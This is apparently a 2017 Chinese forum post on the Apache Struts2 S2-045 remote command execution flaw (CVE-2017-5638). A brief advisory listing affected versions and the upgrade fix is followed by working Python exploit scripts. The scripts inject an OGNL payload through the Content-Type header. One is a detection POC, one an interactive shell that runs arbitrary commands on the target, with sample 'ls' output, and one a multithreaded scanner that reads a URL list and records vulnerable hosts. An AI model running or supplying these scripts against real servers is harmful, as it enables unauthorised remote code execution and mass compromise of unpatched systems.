Struts2_045漏洞

admin · 发表于 2017-3-7 22:26:15

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　　Apache Struts 2被曝存在远程命令执行漏洞，漏洞编号S2-045，CVE编号CVE-2017-5638，在使用基于Jakarta插件的文件上传功能时，有可能存在远程命令执行，导致系统被黑客入侵，漏洞评级为：高危。

漏洞详情：恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞进而执行系统命令。
风险等级：高风险。
漏洞风险：黑客通过利用漏洞可以实现远程命令执行。
影响版本：Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10。
安全版本：Struts 2.3.32或2.5.10.1。
修复建议：如您正在使用Jakarta文件上传插件，请升级Struts至安全版本。

更多参考：https://cwiki.apache.org/confluence/display/WW/S2-045

POC

#! -*- encoding:utf-8 -*-
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc(url):
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
request = urllib2.Request(url,datagen,headers=header)
response = urllib2.urlopen(request)
body=response.read()
return body
url=sys.argv[1]
body=poc(url)
if "nMask" in body:
print "[Loopholes exist]",url

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Poc_Cmd

import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc(url,content="echo nMask"):
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+content+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
request = urllib2.Request(url,datagen,headers=header)
response = urllib2.urlopen(request)
body=response.read()
return body
url=sys.argv[1]
body=poc(url)
if "nMask" in body:
print "[Loopholes exist]",url
while 1:
con=raw_input("[cmd]>>")
print poc(url,content=con)

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运行结果：

>python s2_045_cmd.py http://xxx.com/?a.action
[Loopholes exist] http://xxx.com/?a.action
[cmd]>>ls
example1
example2

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多线程批量检测

import urllib2
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
import threading
def poc(url):
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
try:
request = urllib2.Request(url,datagen,headers=header)
response = urllib2.urlopen(request,timeout=5)
body=response.read()
except:
body=""
if "nMask" in body:
print "[Loopholes exist]",url
f.write(url+"\n")
else:
print "Loopholes not exist",url
if __name__=="__main__":
'''
url.txt为待检测url列表
result.txt为检测完输出结果文件
'''
f=open("result.txt","a")
url_list=[i.replace("\n","") for i in open("url.txt","r").readlines()]
for url in url_list:
threading.Thread(target=poc,args=(url,)).start()
while 1:
if(len(threading.enumerate())<50):
break

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POC下载地址：https://github.com/tengzhangchao/Struts2_045-Poc

Struts2_045漏洞

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